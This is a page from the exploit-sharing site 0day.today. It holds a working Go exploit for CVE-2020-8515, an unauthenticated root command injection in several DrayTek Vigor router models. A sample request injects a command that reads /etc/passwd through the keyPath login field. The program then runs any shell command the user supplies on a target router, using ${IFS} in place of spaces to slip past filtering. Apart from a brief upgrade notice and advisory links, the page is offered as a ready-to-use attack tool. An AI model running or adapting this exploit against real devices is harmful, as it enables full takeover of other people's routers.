0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
DrayTek Products - Pre-authentication Remote Root Code Execution Exploit
Author
Risk
[Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
package main
/*
CVE-2020-8515: DrayTek pre-auth remote root RCE
Mon Mar 30 2020 - 0xsha.io
Affected:
DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta,
and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta,
and 1.4.4_Beta
You should upgrade as soon as possible to 1.5.1 firmware or later
This issue has been fixed in Vigor3900/2960/300B v1.5.1.
read more :
https://www.skullarmy.net/2020/01/draytek-unauthenticated-rce-in-draytek.html
https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/
https://thehackernews.com/2020/03/draytek-network-hacking.html
https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
exploiting using keyPath
POST /cgi-bin/mainfunction.cgi HTTP/1.1
Host: 1.2.3.4
Content-Length: 89
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
*/
import (
"fmt"
"io/ioutil"
"net/http"
"net/url"
"os"
"strings"
)
func usage() {
fmt.Println("CVE-2020-8515 exploit by @0xsha ")
fmt.Println("Usage : " + os.Args[0] + " URL " + "command" )
fmt.Println("E.G : " + os.Args[0] + " http://1.2.3.4 " + "\"uname -a\"" )
}
func main() {
if len(os.Args) < 3 {
usage()
os.Exit(-1)
}
targetUrl := os.Args[1]
//cmd := "cat /etc/passwd"
cmd := os.Args[2]
// payload preparation
vulnerableFile := "/cgi-bin/mainfunction.cgi"
// specially crafted CMD
// action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
payload :=`'
/bin/sh -c 'CMD'
'`
payload = strings.ReplaceAll(payload,"CMD", cmd)
bypass := strings.ReplaceAll(payload," ", "${IFS}")
//PostForm call url encoder internally
resp, err := http.PostForm(targetUrl+vulnerableFile ,
url.Values{"action": {"login"}, "keyPath": {bypass} , "loginUser": {"a"}, "loginPwd": {"a"} })
if err != nil{
fmt.Println("error connecting host")
os.Exit(-1)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil{
fmt.Println("error reading data")
os.Exit(-1)
}
fmt.Println(string(body))
}
# 0day.today [2024-11-15] #